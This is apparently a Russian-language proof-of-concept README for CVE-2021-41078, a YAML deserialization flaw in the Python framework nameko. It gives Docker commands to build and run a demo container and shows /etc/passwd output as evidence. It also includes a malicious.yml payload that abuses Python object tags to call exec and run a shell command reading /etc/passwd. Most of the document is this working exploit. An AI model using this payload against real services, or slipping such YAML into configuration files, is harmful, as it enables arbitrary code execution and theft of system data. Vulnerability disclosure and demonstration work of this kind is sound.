CVE-2021-41078

nameko — произвольное выполнение кода из-за десериализации YAML

Описание NVD

Nameko до 2.13.0 включительно можно обмануть, заставив выполнить произвольный код при десериализации файла конфигурации.

Демонстрация

Установка

1. Соберите образ из Dockerfile

docker build -t cve-2021-41078 .

2. Запустите python main.py в новом контейнере

docker run -it --rm cve-2021-41078

вывод /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-- snip --

Полезная нагрузка PoC

malicious.yml

!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"

Ссылка

• https://github.com/nameko/nameko/security/advisories/GHSA-6p52-jr3q-c94g